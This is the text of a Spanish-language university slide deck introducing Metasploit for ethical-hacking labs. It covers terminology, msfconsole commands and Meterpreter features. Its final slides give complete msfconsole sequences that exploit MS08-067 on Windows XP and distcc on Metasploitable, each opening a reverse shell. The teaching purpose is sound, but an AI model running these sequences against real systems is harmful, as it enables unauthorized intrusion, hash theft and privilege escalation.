METASPLOIT
Cristian Alejandro Rojas
carojasq@correo.udistrital.edu.co
Universidad Distrital Francisco José de Caldas
Etapas del hacking ético
Qué es un test de penetración?
• Simulación de un ataque real
• Obtener una autorizaciónpara hacer el ataque
• Reportar al cliente los descubrimientos y
recomendaciones
• Encontrar y arreglar vulnerabilidadesantes de
que un atacante real las pueda explotar
Objetivos en el laboratorio
• Windows XP SP3
10.20…….
• Ubuntu Linux 8.04Metasploitable
10.20……
Terminologia
• Exploit: Vector para penetrar el sistema.
• Payload: Es la “bomba” que estalla una vez
está adentro del sistema.
• Encoder: Codificadordel payload.
• Shellcode: Un set de instrucciones usado
como payload.
• Listener: Escucha para una conexión entrante.
• Session: Conexión de un exploit exitoso
METASPLOIT
• Framework de explotación de vulnerabilidades
• Basado en Ruby
• Modular
• Exploits, Payloads, Auxiliaries.
Interfaces
• MSFconsole:Es la mas conocida, provee
acceso a la gran mayoría de las opciones del
framework. (Intecractiva).
Interfaces
• MSFCli: Sirve para correr un ataque
directamente desde la consola sin necesidad
de ser interactivo.
Utilidades
• MSFPayload:Es capaz de generar un
ejecutable con el payload solamente.
Interactuando con msfconsole
• use <module> - Configura el exploit a usar
• set <x X> - Configura un parametro
• setg <x X> - Define un parametro globalmente
• show <x> - Muestra un <x> (exploits, payloads,
options, etc)
• help <x> - Muestra ayuda acerca de X
• Info <module> muestra información acerca de un
módulo
• exploit – Ejecuta el módulo seleccionado.
Meterpreter
• Payload
• Nunca escribe en el disco, solo corre en
memoria.
• Provee comandos con funcionalidades
adicionales: help, background,ps, migrate,
getuid, download, upload,hashdump, shell.
• Facilita escalamiento de privilegios
(getsystem).
Metasploitable
• Ubuntu 8.08
• Entorno para practicar explotación de
vulnerabilidades
• Vulnerabilidades de sistema operativo y
también web.
Explotando una vulnerabilidad en
Windows XP SP3
• Ms08_67 -> Vulnerabilidad numero 67
reportada en 2008 aceptada por microsoft.
search windows/smb
info windows/smb/ms08_067_netapi
use windows/smb/ms08_067_netapi
show payloads
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.20.22
exploit
Explotando una vulnerabilidad en
metasploitable (Linux)
search distcc
use unix/misc/distcc_exec
show payloads
set payload cmd/unix/reverse
show options
set rhost 192.168.20.23
set lhost 192.168.20.102 (ip local)
exploit

Metasploit

  • 1.
  • 2.
  • 3.
    Qué es untest de penetración? • Simulación de un ataque real • Obtener una autorizaciónpara hacer el ataque • Reportar al cliente los descubrimientos y recomendaciones • Encontrar y arreglar vulnerabilidadesantes de que un atacante real las pueda explotar
  • 4.
    Objetivos en ellaboratorio • Windows XP SP3 10.20……. • Ubuntu Linux 8.04Metasploitable 10.20……
  • 5.
    Terminologia • Exploit: Vectorpara penetrar el sistema. • Payload: Es la “bomba” que estalla una vez está adentro del sistema. • Encoder: Codificadordel payload. • Shellcode: Un set de instrucciones usado como payload. • Listener: Escucha para una conexión entrante. • Session: Conexión de un exploit exitoso
  • 6.
    METASPLOIT • Framework deexplotación de vulnerabilidades • Basado en Ruby • Modular • Exploits, Payloads, Auxiliaries.
  • 7.
    Interfaces • MSFconsole:Es lamas conocida, provee acceso a la gran mayoría de las opciones del framework. (Intecractiva).
  • 8.
    Interfaces • MSFCli: Sirvepara correr un ataque directamente desde la consola sin necesidad de ser interactivo.
  • 9.
    Utilidades • MSFPayload:Es capazde generar un ejecutable con el payload solamente.
  • 10.
    Interactuando con msfconsole •use <module> - Configura el exploit a usar • set <x X> - Configura un parametro • setg <x X> - Define un parametro globalmente • show <x> - Muestra un <x> (exploits, payloads, options, etc) • help <x> - Muestra ayuda acerca de X • Info <module> muestra información acerca de un módulo • exploit – Ejecuta el módulo seleccionado.
  • 11.
    Meterpreter • Payload • Nuncaescribe en el disco, solo corre en memoria. • Provee comandos con funcionalidades adicionales: help, background,ps, migrate, getuid, download, upload,hashdump, shell. • Facilita escalamiento de privilegios (getsystem).
  • 12.
    Metasploitable • Ubuntu 8.08 •Entorno para practicar explotación de vulnerabilidades • Vulnerabilidades de sistema operativo y también web.
  • 13.
    Explotando una vulnerabilidaden Windows XP SP3 • Ms08_67 -> Vulnerabilidad numero 67 reportada en 2008 aceptada por microsoft. search windows/smb info windows/smb/ms08_067_netapi use windows/smb/ms08_067_netapi show payloads set payload windows/meterpreter/reverse_tcp show options set lhost 192.168.20.22 exploit
  • 14.
    Explotando una vulnerabilidaden metasploitable (Linux) search distcc use unix/misc/distcc_exec show payloads set payload cmd/unix/reverse show options set rhost 192.168.20.23 set lhost 192.168.20.102 (ip local) exploit